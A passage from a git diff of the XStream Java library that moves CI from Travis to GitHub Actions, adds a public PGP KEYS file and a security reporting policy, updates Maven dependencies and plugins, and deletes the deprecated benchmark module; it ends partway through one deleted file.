diff --git a/.gitattributes b/.gitattributes index 1420aca59..291c4e7b9 100644 --- a/.gitattributes +++ b/.gitattributes @@ -10,6 +10,9 @@ *.txt text *.xml text +*.cmd text eol=crlf +*.sh text eol=lf + *.gif binary *.jpg binary *.png binary diff --git a/.github/workflows/maven.yml b/.github/workflows/maven.yml new file mode 100644 index 000000000..971c04781 --- /dev/null +++ b/.github/workflows/maven.yml @@ -0,0 +1,26 @@ +# This workflow will build a Java project with Maven +# For more information see: https://help.github.com/actions/language-and-framework-guides/building-and-testing-java-with-maven + +name: CI with Maven + +on: + push: + branches: [ master ] + pull_request: + branches: [ master ] + +jobs: + build: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v4 + - name: Set up JDK 17 + uses: actions/setup-java@v4 + with: + distribution: temurin + java-version: 17 + - name: Build with Maven + run: mvn -V -B package site + diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index 39726e6ec..000000000 --- a/.travis.yml +++ /dev/null @@ -1,17 +0,0 @@ -language: java -sudo: false -jdk: - - oraclejdk8 - - openjdk7 -install: true -script: - if ( `javac -version 2>&1 | grep '1\.8\.0' > /dev/null` ); then - mkdir -p xstream/profiles/coveralls; - mkdir -p xstream-hibernate/profiles/coveralls; - mvn -V -B -e clean package cobertura:cobertura coveralls:report; - else - mvn -V -B -e clean package; - fi -cache: - directories: - - $HOME/.m2 diff --git a/BUILD.txt b/BUILD.txt index 531779879..90b096e67 100644 --- a/BUILD.txt +++ b/BUILD.txt @@ -1,4 +1,4 @@ -For Java 7 or higher build with Maven 3 +For Java 11 or higher build with Maven 3 Before building: @@ -9,7 +9,7 @@ mvn clean install Before deploying: copy settings-template.xml to ~/.m2/settings.xml adding your Sonatype OSSRH -username and passwords. +username and passwords and also your GPG key and password. To deploy (optionally adding sources and javadoc jars): mvn deploy diff --git a/KEYS b/KEYS new file mode 100644 index 000000000..34aa548d1 --- /dev/null +++ b/KEYS @@ -0,0 +1,70 @@ +This file contains the PGP keys of various developers. + +Users: pgp < KEYS + gpg --import KEYS +Developers: + pgp -kxa and append it to this file. + (pgpk -ll && pgpk -xa ) >> this file. + (gpg --list-sigs + && gpg --armor --export ) >> this file. + +Type Bits/KeyID Date User ID +pub rsa4096 2010-10-01 [SC] [expires: 2060-09-18] + 050A37A2E0577F4BAA095B52602EC18D20C4661C +uid [ultimate] Jörg Schaible (Codehaus) +sig 3 602EC18D20C4661C 2010-10-01 [self-signature] +sub rsa4096 2010-10-01 [E] [expires: 2060-09-18] +sig 602EC18D20C4661C 2010-10-01 [self-signature] + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: GnuPG v2.0.16 (GNU/Linux) + +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 +cjGxjhSoUOHjrhTUh2pisnpCh4koWiAkdmmYKg== +=Mb40 +-----END PGP PUBLIC KEY BLOCK----- diff --git a/LICENSE.txt b/LICENSE.txt index a9cd276b2..01f3f3133 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,7 +1,7 @@ (BSD Style License) Copyright (c) 2003-2006, Joe Walnes -Copyright (c) 2006-2015, XStream Committers +Copyright (c) 2006-2020, XStream Committers All rights reserved. Redistribution and use in source and binary forms, with or without diff --git a/README.md b/README.md index aeb3044c6..9397cef4a 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -master: [![Build Status](https://travis-ci.org/x-stream/xstream.svg?branch=master)](https://travis-ci.org/x-stream/xstream) [![Coverage Status](https://coveralls.io/repos/github/x-stream/xstream/badge.svg?branch=master)](https://coveralls.io/github/x-stream/xstream?branch=master) +master: [![CI with Maven](https://github.com/x-stream/xstream/workflows/CI%20with%20Maven/badge.svg)](https://github.com/x-stream/xstream/actions?query=workflow%3A%22CI+with+Maven%22) [![Coverage Status](https://coveralls.io/repos/github/x-stream/xstream/badge.svg?branch=master)](https://coveralls.io/github/x-stream/xstream?branch=master) v-1.4.x: [![Build Status](https://travis-ci.org/x-stream/xstream.svg?branch=v-1.4.x)](https://travis-ci.org/x-stream/xstream) [![Coverage Status](https://coveralls.io/repos/github/x-stream/xstream/badge.svg?branch=v-1.4.x)](https://coveralls.io/github/x-stream/xstream?branch=v-1.4.x) - - - - @@ -8,7 +8,7 @@ _Java to XML Serialization, and back again_ ## Binaries All binary artifacts are bundled in the -bin archive. It includes the XStream jars and any other library used at build time, or -optional runtime extras. Xpp3 is recommend for use as it will +optional runtime extras. MXParser is recommend for use as it will greatly improve the performance of XStream. ## Documentation @@ -18,6 +18,7 @@ includes: * [JavaDoc](http://x-stream.github.io/javadoc/index.html) * [Change History](http://x-stream.github.io/changes.html) * [Frequently Asked Questions](http://x-stream.github.io/faq.html) +* [Security](http://x-stream.github.io/security.html) ## Source The complete source for XStream is bundled in the -src archive. This includes: diff --git a/README.txt b/README.txt index 85a6f2a10..dbe2cacfa 100644 --- a/README.txt +++ b/README.txt @@ -10,7 +10,7 @@ All binary artifacts are bundled in the -bin archive. It includes the XStream jars and any other library used at build time, or -optional runtime extras. Xpp3 is recommend for use as it will +optional runtime extras. MXParser is recommend for use as it will greatly improve the performance of XStream. --[ Documentation ]------------------------------------------ @@ -21,6 +21,7 @@ includes: * JavaDoc * Change History * Frequently Asked Questions + * Security --[ Source ]------------------------------------------------- diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 000000000..4493f9ff5 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,20 @@ +# Security Policy + +## Supported Versions + +The 1.4.x version is actively maintained. + +| Version | Supported | +| ------- | ------------------ | +| 1.4.x | :white_check_mark: | +| < 1.4.0 | :x: | + +## Reporting a Vulnerability + +If you have identified a security issue, ask on the [XStream mailing list](https://groups.google.com/group/xstream-user) +for access to the XStream Security list and you will receive an invitation. Send a security report there with details to +reproduce the problem with the latest XStream version. + +Note, that XStream cares about security issues with XStream itself or in combination with the Java runtime, but not with +3rd party libraries. It is in the resposibility of each developer who brings those libraries together to setup the +[XStream Security Framework](https://x-stream.github.io/security.html#framework) properly. diff --git a/pom.xml b/pom.xml index 1c8acb12c..05943ab79 100644 --- a/pom.xml +++ b/pom.xml @@ -1,7 +1,7 @@ xstream-jmh - xstream-benchmark xstream-distribution - BSD style + BSD-3-Clause http://x-stream.github.io/license.html repo @@ -288,30 +377,6 @@ javadoc provided - - com.thoughtworks.xstream - xstream-benchmark - 1.5.0-SNAPSHOT - - - com.thoughtworks.xstream - xstream-benchmark - 1.5.0-SNAPSHOT - javadoc - provided - - - - commons-io - commons-io - ${version.commons.io} - - - - commons-cli - commons-cli - ${version.commons.cli} - org.apache.commons @@ -331,13 +396,13 @@ - dom4j + org.dom4j dom4j - ${version.dom4j} + ${version.org.dom4j} - xml-apis - xml-apis + jaxen + jaxen @@ -375,17 +440,18 @@ stax stax ${version.stax} - - - stax - stax-api - ${version.stax.api} + + + stax + stax-api + + - org.codehaus.woodstox - wstx-asl - ${version.org.codehaus.woodstox.asl} + com.fasterxml.woodstox + woodstox-core + ${version.com.fasterxml.woodstox.core} @@ -394,8 +460,8 @@ ${version.xom} - xerces - xmlParserAPIs + xml-apis + xml-apis xerces @@ -405,13 +471,14 @@ xalan xalan - - jaxen - jaxen - + + io.github.x-stream + mxparser + ${version.io.github.x-stream.mxparser} + xpp3 xpp3_min @@ -433,12 +500,6 @@ ${version.xmlpull} - - oro - oro - ${version.oro} - - org.json json @@ -449,12 +510,12 @@ org.codehaus.jettison jettison ${version.org.codehaus.jettison} - - - - xml-apis - xml-apis - ${version.xml-apis} + + + stax + stax-api + + @@ -463,6 +524,27 @@ ${version.xerces.impl} + + jakarta.activation + jakarta.activation-api + ${version.jakarta.activation.api} + + + jakarta.annotation + jakarta.annotation-api + ${version.jakarta.annotation.api} + + + jakarta.xml.bind + jakarta.xml.bind-api + ${version.jakarta.xml.bind.api} + + + com.sun.xml.ws + jaxws-rt + ${version.javax.xml.ws.jaxws.rt} + + org.hibernate hibernate-core @@ -533,6 +615,60 @@ test + + + jakarta.inject + jakarta.inject-api + ${version.jakarta.inject.api} + + + org.apache.felix + org.apache.felix.framework + ${version.org.apache.felix} + test + + + org.ops4j.pax.exam + pax-exam-container-native + ${version.org.ops4j.pax.exam} + test + + + org.ops4j.pax.exam + pax-exam-extender-service + ${version.org.ops4j.pax.exam} + test + + + org.ops4j.pax.exam + pax-exam-inject + ${version.org.ops4j.pax.exam} + test + + + org.ops4j.pax.exam + pax-exam-invoker-junit + ${version.org.ops4j.pax.exam} + test + + + org.ops4j.pax.exam + pax-exam-junit4 + ${version.org.ops4j.pax.exam} + test + + + org.ops4j.pax.exam + pax-exam-link-assembly + ${version.org.ops4j.pax.exam} + test + + + org.ops4j.pax.exam + pax-exam-link-mvn + ${version.org.ops4j.pax.exam} + test + @@ -580,8 +716,7 @@ maven-compiler-plugin ${version.plugin.maven.compiler} - ${version.java.source} - ${version.java.target} + ${version.java.target} @@ -596,20 +731,22 @@ org.apache.maven.plugins - maven-eclipse-plugin - - true - + maven-enforcer-plugin + ${version.plugin.maven.enforcer} org.apache.maven.plugins - maven-enforcer-plugin - ${version.plugin.maven.enforcer} + maven-failsafe-plugin + ${version.plugin.maven.failsafe} org.apache.maven.plugins maven-gpg-plugin ${version.plugin.maven.gpg} + + ${gpg.keyname} + ${gpg.keyname} + org.apache.maven.plugins @@ -628,11 +765,9 @@ ${project.info.majorVersion}.${project.info.minorVersion} - ${version.java.source} - ${version.java.target} - Maven ${maven.version} - ${maven.build.timestamp} - ${os.name} + BSD-3-Clause + ${jar.module.name} + ${version.java.release} @@ -651,8 +786,8 @@ false - ${javadoc.xdoclint} - ${version.java.source} + ${javadoc.doclint} + ${javadoc.java.release} ${javadoc.link.javase} @@ -663,6 +798,7 @@ ${project.info.majorVersion}.${project.info.minorVersion} + BSD-3-Clause @@ -719,13 +855,10 @@ ${project.name} Sources ${project.artifactId}.sources ${project.organization.name} Sources - ${project.info.osgiVersion} Sources + ${project.info.osgiVersion} + BSD-3-Clause ${project.artifactId};version=${project.info.osgiVersion} - ${version.java.source} - ${version.java.target} - Maven ${maven.version} - ${maven.build.timestamp} - ${os.name} + ${version.java.release} @@ -735,7 +868,6 @@ maven-surefire-plugin ${version.plugin.maven.surefire} - ${surefire.argline} once true false @@ -767,27 +899,23 @@ org.codehaus.mojo - cobertura-maven-plugin - ${version.plugin.mojo.cobertura} - - - - clean - - - - - - net.sourceforge.cobertura - cobertura - ${version.net.sourceforge.cobertura} - - + flatten-maven-plugin + ${version.plugin.mojo.flatten} + + ossrh + org.codehaus.xsite xsite-maven-plugin ${version.plugin.codehaus.xsite} + + + com.thoughtworks.xstream + xstream + 1.4.16 + + org.apache.felix @@ -796,8 +924,12 @@ ${project.build.directory}/OSGi + <_noee>true <_nouses>true + <_removeheaders>Bnd-LastModified,Built-By + <_reproducible>true ${project.artifactId} + BSD-3-Clause ${project.info.majorVersion}.${project.info.minorVersion} @@ -807,28 +939,87 @@ + + io.wcm.devops.maven.plugins + eclipse-maven-plugin + ${version.plugin.io.wcm.devops.eclipse} + + true + + org.eluder.coveralls coveralls-maven-plugin ${version.plugin.eluder.coveralls} + + + jakarta.xml.bind + jakarta.xml.bind-api + ${version.jakarta.xml.bind.api} + + + + + org.jacoco + jacoco-maven-plugin + ${version.plugin.jacoco} + + org.apache.maven.plugins + maven-enforcer-plugin + + + enforce-maven-version + + enforce + + + + + ${version.maven.enforced} + + + + + + org.codehaus.mojo build-helper-maven-plugin - versions - initialize - - maven-version - parse-version - - - project.info - + versions + initialize + + maven-version + parse-version + + + project.info + + + + + + org.codehaus.mojo + flatten-maven-plugin + + + flatten + process-resources + + flatten + + + + clean-flatten + clean + + clean + @@ -840,23 +1031,16 @@ - - - org.apache.maven.wagon - wagon-webdav - ${version.org.apache.maven.wagon.webdev} - - ossrh-staging - http://oss.sonatype.org/service/local/staging/deploy/maven2 + https://oss.sonatype.org/service/local/staging/deploy/maven2 ossrh-snapshots - http://oss.sonatype.org/content/repositories/snapshots + https://oss.sonatype.org/content/repositories/snapshots 1.0.1 - 1.6 + 2.10.1 3.8.1 2.3.0 - 2.1.1 - 1.2 - 3.2.7 + 6.0.3 + 1.5.4 + 6.4.0 + 2.0.2 4.2.5.Final ${version.org.hibernate.core} 1.1.3 - 2.0.5 - 20080701 - 1.19 + 2.0.6 + 20180813 + 1.21 + 4.13.4 1.6.1 - 2.0.8 1.2.0 - 1.0.1 2.8.1 - 1.3.04 1.1.3.1 - 1.1 + 1.3.2 1.1.4c - http://docs.oracle.com/javase/8/docs/api/ - permit + ${project.artifactId} + 17 + https://docs.oracle.com/en/java/javase/${javadoc.java.release}/docs/api/ - + ${surefire.argline} + -missing diff --git a/settings-template.xml b/settings-template.xml index ffea41235..e48b65fa0 100644 --- a/settings-template.xml +++ b/settings-template.xml @@ -20,6 +20,13 @@ ossrh-staging your-sonatype.org-id your-sonatype.org-pwd - + + + ${gpg.keyname} + your-gpg-key-pwd + + + your-gpg-keyname + diff --git a/xstream-benchmark/pom.xml b/xstream-benchmark/pom.xml deleted file mode 100644 index a886accd4..000000000 --- a/xstream-benchmark/pom.xml +++ /dev/null @@ -1,72 +0,0 @@ - - - 4.0.0 - - com.thoughtworks.xstream - xstream-parent - 1.5.0-SNAPSHOT - - xstream-benchmark - jar - XStream Benchmark - Benchmark suite of XStream. - - - - jdk18 - - 1.8 - - - - - org.apache.maven.plugins - maven-javadoc-plugin - - com.thoughtworks.xstream.tools.benchmark.model - - - - - - - - org.apache.maven.plugins - maven-javadoc-plugin - ${version.plugin.maven.javadoc} - - com.thoughtworks.xstream.tools.benchmark.model - ${javadoc.xdoclint} - false - ${version.java.source} - - ${javadoc.link.javase} - - - - - - - - - - - com.thoughtworks.xstream - xstream - - - - - !com.thoughtworks.xstream.tools.benchmark.model,com.thoughtworks.xstream.tools.benchmark.*;-noimport:=true - - diff --git a/xstream-benchmark/profiles/osgi b/xstream-benchmark/profiles/osgi deleted file mode 100644 index e69de29bb..000000000 diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Harness.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Harness.java deleted file mode 100644 index 58c047b13..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Harness.java +++ /dev/null @@ -1,106 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2013, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark; - -import java.util.List; -import java.util.ArrayList; -import java.util.Iterator; - -/** - * A simple harness for running benchmarks over object serialization products. - * - *

- * There are three dimensions that can be added: - *

- *
    - *
  • {@link Product} (e.g. DOM, SAX, XPP...)
  • - *
  • {@link Metric} (e.g. time taken, memory usage, output size...)
  • - *
  • {@link Target} (e.g. a small object, large object, list of objects...)
  • - *
- *

- * The Harness will then across every permutation of these - * (in order of product, metric, target), and write the results to a {@link Reporter}. - *

- * - *

Example usage

- *
- * Harness harness = new Harness();
- *
- * // Compare speed of serialization/deserialization metrics...
- * harness.addMetric(new SerializationSpeedMetric());
- * harness.addMetric(new DeserializationSpeedMetric());
- *
- * // Using a simple String and a JTree instance...
- * harness.addTarget(new StringTarget());
- * harness.addTarget(new JTreeTarget());
- *
- * // Across XStream with different XML drivers.
- * harness.addProduct(new XStreamDom());
- * harness.addProduct(new XStreamXpp());
- * harness.addProduct(new XStreamSax());
- *
- * // Now do it, and report the results as text to the console.
- * harness.run(new TextReporter());
- * 
- * - * @author Joe Walnes - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class Harness { - - private List products = new ArrayList(); - private List targets = new ArrayList(); - private List metrics = new ArrayList(); - - public synchronized void addProduct(Product product) { - products.add(product); - } - - public synchronized void addTarget(Target target) { - targets.add(target); - } - - public synchronized void addMetric(Metric metric) { - metrics.add(metric); - } - - public synchronized void run(Reporter reporter) { - // Nested loop galore. - reporter.startBenchmark(); - for (Iterator metricsIt = metrics.iterator(); metricsIt.hasNext();) { - Metric metric = (Metric) metricsIt.next(); - reporter.startMetric(metric); - for (Iterator targetIt = targets.iterator(); targetIt.hasNext();) { - Target target = (Target) targetIt.next(); - reporter.startTarget(target); - for (Iterator productsIt = products.iterator(); productsIt.hasNext();) { - Product product = (Product) productsIt.next(); - run(reporter, metric, target, product); - } - reporter.endTarget(target); - } - reporter.endMetric(metric); - } - reporter.endBenchmark(); - } - - private void run(Reporter reporter, Metric metric, Target target, Product product) { - try { - double result = metric.run(product, target); - reporter.metricRecorded(product, result); - } catch (Exception e) { - reporter.metricFailed(product, e); - } - } - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Metric.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Metric.java deleted file mode 100644 index e406de906..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Metric.java +++ /dev/null @@ -1,64 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark; - -/** - * A metric is what's actually recorded. This provides a strategy - * for what to do with an object for a given product and should - * return a measurable result. For example it could serialize an - * object against a product and return how long it took to complete - * the operation. - * - * @author Joe Walnes - * @author Jörg Schaible - * @see Harness - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public interface Metric { - - /** - * Run the test and produce a metric. - * - * @param product Product to use in test. - * @param object A object to use against the product. - * @return The resulting metric (e.g. 12.22). - * @throws Exception If this metric could not be obtained. This will - * be reported back to the {@link Reporter}. - * @deprecated since 1.3 - */ - double run(Product product, Object object) throws Exception; - - /** - * Run the test and produce a metric. - * - * @param product Product to use in test. - * @param target A target to use against the product. - * @return The resulting metric (e.g. 12.22). - * @throws Exception If this metric could not be obtained. This will - * be reported back to the {@link Reporter}. - * @since 1.3 - */ - double run(Product product, Target target) throws Exception; - - /** - * The unit the metric is recorded in (for reporting purposes). - * e.g. "ms" or "bytes". - */ - String unit(); - - /** - * Whether a big result is better for this metric. - */ - boolean biggerIsBetter(); - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Product.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Product.java deleted file mode 100644 index 22fa19e9f..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Product.java +++ /dev/null @@ -1,38 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark; - -import java.io.OutputStream; -import java.io.InputStream; - -/** - * Provides an abstraction above the product used to perform the serialization/deserialization - * in the benchmarks. - * - * @author Joe Walnes - * @see Harness - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public interface Product { - - /** - * Serialize an object to a stream. - */ - void serialize(Object object, OutputStream output) throws Exception; - - /** - * Deserialize an object from a stream. - */ - Object deserialize(InputStream input) throws Exception; - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Reporter.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Reporter.java deleted file mode 100644 index be7e74778..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Reporter.java +++ /dev/null @@ -1,61 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark; - -/** - * A listener to what the {@link Harness} is doing that should report the results. - * - * The sequence of methods is: - *
- * startBenchmark,
- * (
- *   startMetric,
- *   (
- *     startTarget,
- *     ( metricRecorded | metricFailed ),
- *     endTarget
- *   ) * ,
- *   endMetric
- * ) * ,
- * endBenchmark
- * 
- * - * @author Joe Walnes - * @see Harness - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public interface Reporter { - - /** - * Benchmark has started. This will always be called ONCE (and only once) BEFORE everything else. - */ - void startBenchmark(); - - void startMetric(Metric metric); - - void startTarget(Target target); - - void metricRecorded(Product product, double result); - - void metricFailed(Product product, Exception e); - - void endTarget(Target target); - - void endMetric(Metric metric); - - /** - * Benchmark has ended. This will always be called ONCE (and only once) AFTER everything else. - */ - void endBenchmark(); - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Target.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Target.java deleted file mode 100644 index 199658239..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/Target.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark; - -/** - * Provides a target object to use in the metric. This could be a very small object or a large - * complicated graph. - * - * Also used to test if the object is equal to another instance (as some object's don't provide - * sensible equals() methods. - * - * @author Joe Walnes - * @see Harness - * @deprecated As of 1.4.9 use JMH instead - */ -public interface Target { - - /** - * The target to use in the metric. - */ - Object target(); - - /** - * Check whether the object for this target is equal to another one. - */ - boolean isEqual(Object other); - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/metrics/CharacterCountMetric.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/metrics/CharacterCountMetric.java deleted file mode 100644 index 6dc38d49e..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/metrics/CharacterCountMetric.java +++ /dev/null @@ -1,66 +0,0 @@ -/* - * Copyright (C) 2007, 2008, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 14. September 2007 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.metrics; - -import com.thoughtworks.xstream.tools.benchmark.Metric; -import com.thoughtworks.xstream.tools.benchmark.Product; -import com.thoughtworks.xstream.tools.benchmark.Target; - -import java.io.ByteArrayOutputStream; - -/** - * Determines the amount of a special characters. - * - * @author Jörg Schaible - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class CharacterCountMetric implements Metric { - - private final char ch; - - public CharacterCountMetric(char ch) { - this.ch = ch; - } - - public double run(Product product, Target target) throws Exception { - return run(product, target.target()); - } - - /** - *@deprecated since 1.3 - */ - public double run(Product product, Object object) throws Exception { - ByteArrayOutputStream buffer = new ByteArrayOutputStream(); - product.serialize(object, buffer); - String s = buffer.toString(); - int counter = 0; - for (int i = 0; i < s.length(); i++) { - if (s.charAt(i) == ch) { - ++counter; - } - } - return counter; - } - - public String toString() { - return "Character count for '" + ch + "'"; - } - - public String unit() { - return "characters"; - } - - public boolean biggerIsBetter() { - return false; - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/metrics/DeserializationSpeedMetric.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/metrics/DeserializationSpeedMetric.java deleted file mode 100644 index 5bca1a848..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/metrics/DeserializationSpeedMetric.java +++ /dev/null @@ -1,117 +0,0 @@ -/* - * Copyright 